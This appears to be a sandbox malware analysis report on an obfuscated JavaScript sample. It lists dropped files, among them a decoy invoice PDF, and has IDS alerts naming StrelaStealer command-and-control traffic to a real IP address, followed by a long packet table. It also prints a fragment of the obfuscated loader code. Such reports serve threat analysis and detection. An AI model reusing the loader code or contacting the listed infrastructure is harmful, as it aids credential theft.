Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\17c7b6f7-a3f4-4ccc-b53f-b336c9223207.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/rwYIGNP4mOWL07oBGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:TwZG6bWLxBGZN3mlind9i4ufFXpAXkru
MD5:	95F182500FC92778102336D2D5AADCC8
SHA1:	BEC510B6B3D595833AF46B04C5843B95D2A0A6C9
SHA-256:	9F9C041D7EE1DA404E53022D475B9E6D5924A17C08D5FDEC58C0A1DCDCC4D4C9
SHA-512:	D7C022459486D124CC6CDACEAD8D46E16EDC472F4780A27C29D98B35AD01A9BA95F62155433264CC12C32BFF384C7ECAFCE0AC45853326CBC622AE65EE0D90BA
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\5ed831a6-2122-4e0e-99cb-b837a7edb72b.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16739), with CRLF line terminators
Entropy (8bit):	4.911832137258033
TrID:
File name:	279482651296229246.js
File size:	20'132 bytes
MD5:	5cae5447efe4fb5b7891cb8494856cd2
SHA1:	63e87a78ac4506c41f8345c39309311312d3694a
SHA256:	b189bb9d98f2c7e4464e83527c4e0ac6cf1fb7d603f3ded712f84001d9d6dd01
SHA512:	03a91c84d310df9fc1237f9e2c407b1c171ce0b5ae0660df8713128039968d5747f6249af601cfb40ecf60d2b22e15f1d2d947900617f45f046589018b2131aa
SSDEEP:	384:vn4OrDtcboPKgyJ80OqSegWDWBJhFCtOY2fxf34r/zMrQJWW0:vxlyB6JhFCtOY2fQJWp
TLSH:	BB926344CD098F771FF904B560620BCA16EA638C1E5CA44F1B633892725C92A76DEFF9
File Content Preview:	function wuyxaeiis(){rognz=[1031,3079,5127,4103,2055,3072];var eltmbhx=this[viron+ysbrm+mtwkyhcjr+sxwtc+rtutr+qutiyobp+rehfuqa+edxvckk](this[uialweix+eseuoaquz+ipmsl+mtwkyhcjr+ekcnvesbp+viron+edxvckk][jzzyqkscw+mtwkyhcjr+rtutr+ysbrm+edxvckk+rtutr+svstlv+w

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T02:46:51.534092+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-11T02:46:51.534092+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-11T02:46:54.338105+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.5	49705	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 02:46:50.725315094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:50.730282068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:50.730367899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:50.733426094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:50.738356113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.534027100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.534039021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.534049988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.534091949 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.534104109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.534120083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.534153938 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.534262896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.534275055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.534285069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.534296036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.534302950 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.534317017 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.534323931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.534358025 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.538958073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.538970947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.539031982 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.597510099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.597572088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.597635031 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.650962114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.650985003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.650996923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.651060104 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.651093006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.651129961 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.651299953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.651325941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.651374102 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.651514053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.651525974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.651535988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.651554108 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.651909113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.651917934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.651949883 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.652110100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.652146101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.652156115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.652163029 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.652192116 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.652205944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.652216911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.652242899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.652905941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.652968884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.652980089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.653003931 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.653044939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.653055906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.653079987 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.653793097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.653815031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.653824091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.653831959 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.653863907 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.727211952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.756994009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.757123947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.757136106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.757241011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.757241011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.767808914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.767853975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.767864943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.767925978 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.768006086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.768049955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.768050909 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.768116951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.768126965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.768162966 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.768250942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.768295050 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.768296003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.768309116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.768349886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.768352985 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.768675089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.768718958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.768722057 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.768732071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.768802881 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.768810987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.768920898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.768932104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.768969059 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.769390106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.769431114 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.769435883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.769448996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.769525051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.769537926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.769560099 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.769608974 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.769987106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.769998074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.770010948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.770032883 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.770112038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.770123959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.770134926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.770148039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.770155907 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.770190954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.770270109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.770311117 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.771008968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.771019936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.771032095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.771058083 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.771085024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.771097898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.771109104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.771120071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.771131039 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.771153927 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.771230936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.771279097 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.771878958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.771938086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.771950006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.771974087 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.772074938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.772085905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.772114992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.813941002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.813955069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.814155102 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.849176884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.849205017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.849320889 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.873843908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.873902082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.873913050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.873935938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.873948097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.873955011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.873975039 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.874005079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.874017000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.874058008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.884762049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.884787083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.884799004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.884867907 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.884912968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.884926081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.884938002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.885026932 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.885026932 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.885046005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.885057926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.885104895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.885127068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.885165930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.885175943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.885190964 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.885200024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.885210991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.885230064 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.885289907 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.885381937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.885395050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.885442019 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.885453939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.885482073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.885530949 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.885544062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.885556936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.885613918 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.885740995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.885775089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.885787964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.885828018 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.885844946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.885890007 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.885924101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.885936022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.885981083 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.886126041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.886163950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.886177063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.886213064 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.886311054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.886324883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.886363983 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.886419058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.886466980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.886496067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.886508942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.886552095 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.886637926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.886650085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.886661053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.886672974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.886681080 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.886722088 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.886764050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.886775017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.886790991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.886805058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.886831045 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.886857986 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.886924028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.887371063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.887382984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.887394905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.887418032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.887439966 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:46:51.887455940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:46:51.887469053 CET	80	49704	193.143.1.205	192.168.2.5
